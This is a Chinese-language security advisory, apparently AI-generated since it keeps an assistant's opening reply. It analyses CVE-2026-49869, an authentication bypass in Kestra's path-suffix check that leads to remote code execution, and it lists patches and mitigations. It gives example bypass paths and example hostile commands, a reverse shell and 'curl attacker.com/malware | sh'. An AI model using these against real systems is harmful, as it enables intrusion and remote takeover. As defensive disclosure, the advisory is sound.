🔴 【深度分析】严重安全漏洞:CVE-2026-49869

CVSS 评分: 严重(10.0)🔴  状态: Received  发布时间: 2026-06-26


🔍 技术细节速览

字段 值
CVE ID CVE-2026-49869
CVSS 评分 10.0 🔴
严重程度 严重
CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE 分类 CWE-78,CWE-184,CWE-287,CWE-918
发布时间 2026-06-26
最后更新 2026-06-26
状态 Received
数据来源 security-advisories@github.com

好的,作为一名资深网络安全分析师,我将基于您提供的 NVD 数据,为您生成一篇关于 CVE-2026-49869 的深度分析文章。


深度安全分析:CVE-2026-49869 — Kestra 认证绕过致远程代码执行漏洞

⚠️ 严重警告 ⚠️
CVSS 评分:10.0 (CRITICAL)
危害等级:严重
攻击向量:网络远程 (AV:N)
攻击复杂度:低 (AC:L)
所需权限:无 (PR:N)
用户交互:无 (UI:N)
影响范围:机密性、完整性、可用性均完全丧失 (C:H/I:H/A:H)

漏洞概述

CVE-2026-49869 是一个存在于 Kestra 开源事件驱动编排平台中的严重安全漏洞。该漏洞的核心问题在于其认证过滤器(AuthenticationFilter)存在一个不安全的路径匹配逻辑,导致攻击者可以完全绕过身份验证,进而实现未经授权的远程代码执行(RCE)。

具体来说,Kestra 的认证过滤器使用 request.getPath().endsWith("/configs") 来白名单化公开的配置端点。由于这是一个后缀匹配而非精确路径匹配,任何以 /configs 结尾的 API 路径都会被错误地视为无需认证。攻击者可以构造特制的 API 请求,利用此缺陷绕过所有认证检查,并利用 Kestra 默认启用的脚本执行插件(如 plugin-script-shell、plugin-script-python)在 Kestra Worker 容器内以 root 权限执行任意命令。

该漏洞影响 Kestra 1.0.45 和 1.3.21 之前的所有版本。

受影响组件与版本

  • 受影响软件: Kestra 开源版 (OSS)
  • 影响版本:
    • 所有低于 1.0.45 的 1.0.x 版本
    • 所有低于 1.3.21 的 1.3.x 版本
  • 不受影响版本:
    • 1.0.45
    • 1.3.21

漏洞原理分析

该漏洞由多个安全弱点组合而成,核心在于认证绕过(CWE-287)和路径匹配逻辑缺陷(CWE-184)。

  1. 认证绕过(CWE-287, CWE-184):

    • Kestra 的 AuthenticationFilter 负责拦截所有 API 请求并进行身份验证。
    • 为了允许未认证用户访问公开的配置端点(例如 /api/v1/configs),开发者使用了 request.getPath().endsWith("/configs") 作为白名单判断条件。
    • 这个判断逻辑存在严重缺陷。endsWith() 方法仅检查请求路径是否以 /configs 结尾,而不检查路径的完整结构。
    • 攻击者可以构造一个恶意路径,例如 /api/v1/executions/evil/configs 或 /some/arbitrary/path/configs。由于该路径以 /configs 结尾,AuthenticationFilter 会错误地认为这是一个公开端点,从而完全跳过认证过程。
  2. 远程代码执行(CWE-78):

    • 一旦绕过认证,攻击者就可以访问 Kestra 中所有需要认证的 API 端点。
    • Kestra 的核心功能是执行工作流,并且默认集成了脚本执行插件(如 plugin-script-shell)。这些插件允许在工作流中定义和执行系统命令或脚本。
    • 攻击者可以利用绕过认证后的 API 权限,创建一个恶意工作流。该工作流可以包含一个简单的脚本任务,例如执行 bash -c '反弹shell' 或 curl attacker.com/malware | sh。
    • 当 Kestra 调度并执行这个恶意工作流时,脚本会在 Kestra Worker 容器内以 root 权限运行,从而实现完全的远程代码执行。

攻击向量总结:

  1. 构造恶意请求:攻击者向 Kestra API 服务器发送一个 HTTP 请求,其路径以 /configs 结尾,但实际意图是访问其他受保护的 API(如创建工作流)。
  2. 绕过认证:由于 endsWith("/configs") 的缺陷,请求被错误地放行。
  3. 创建恶意工作流:攻击者利用被放行的 API 权限,创建一个包含恶意脚本命令的工作流。
  4. 触发执行:攻击者触发该工作流的执行。
  5. 获得控制权:Kestra Worker 执行恶意脚本,攻击者获得容器内的 root 权限。

影响评估

根据 CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H,我们可以进行如下评估:

  • 攻击复杂度 (AC:L):漏洞利用极其简单。攻击者只需要发送一个精心构造的 HTTP 请求,无需任何特殊技巧或条件。
  • 所需权限 (PR:N):攻击者无需任何有效的用户凭证或系统访问权限。
  • 用户交互 (UI:N):漏洞利用完全在攻击者端完成,无需受害者(如 Kestra 管理员)进行任何点击或操作。
  • 影响范围 (S:C):漏洞影响 Kestra 的核心安全机制(认证),其影响会波及到整个平台,包括所有工作流、数据和执行环境。
  • 机密性、完整性、可用性 (C:H/I:H/A:H):成功利用后,攻击者可以读取、修改或删除 Kestra 平台上的所有数据(机密性、完整性),并可以控制 Worker 容器执行任意操作,导致服务完全瘫痪(可用性)。

实际威胁:

  • 极高。这是一个“一键式”的远程代码执行漏洞,且利用条件极低。任何暴露在公网或内网中的未打补丁的 Kestra 实例都面临被完全控制的风险。
  • 攻击者可以窃取工作流中处理的敏感数据(如数据库密码、API 密钥),植入后门,横向移动到其他内部系统,或利用 Worker 的计算资源进行挖矿等恶意活动。

修复建议

官方补丁(强烈推荐)

立即将 Kestra 升级到以下修复版本:

  • 1.0.45
  • 1.3.21

官方已修复了 AuthenticationFilter 中的路径匹配逻辑,改为使用精确路径匹配或更安全的验证方式。

临时缓解措施(在无法立即升级时)

  1. 网络隔离:立即将 Kestra API 服务器和 Worker 容器置于防火墙或安全组之后,严格限制来自不可信网络的访问。仅允许受信任的管理员 IP 地址访问 Kestra API。
  2. 反向代理:在 Kestra 前端部署反向代理(如 Nginx, Apache, HAProxy)。在代理层编写严格的访问控制规则,拒绝任何路径以 /configs 结尾但实际并非指向 /api/v1/configs 的请求。例如,在 Nginx 中可以添加如下规则:
    location ~* /configs$ {
        # 仅允许精确匹配 /api/v1/configs 的请求
        if ($request_uri !~ ^/api/v1/configs(\?.*)?$) {
            return 403;
        }
        proxy_pass http://kestra_backend;
    }
    
  3. 禁用脚本执行插件:如果业务上允许,可以临时禁用 plugin-script-shell、plugin-script-python 等脚本执行插件。但这可能会影响正常的工作流执行,且无法根除认证绕过带来的其他风险(如数据泄露)。

参考资料

  • CVE 详情页 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-49869
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-184: Incomplete List of Disallowed Inputs
  • CWE-287: Improper Authentication
  • CWE-918: Server-Side Request Forgery (SSRF) (相关,因为认证绕过后可能被用于 SSRF)
  • Kestra 官方安全公告: (请关注 Kestra 官方 GitHub 仓库或安全公告页面获取最新信息)
  • Kestra 项目地址: https://github.com/kestra-io/kestra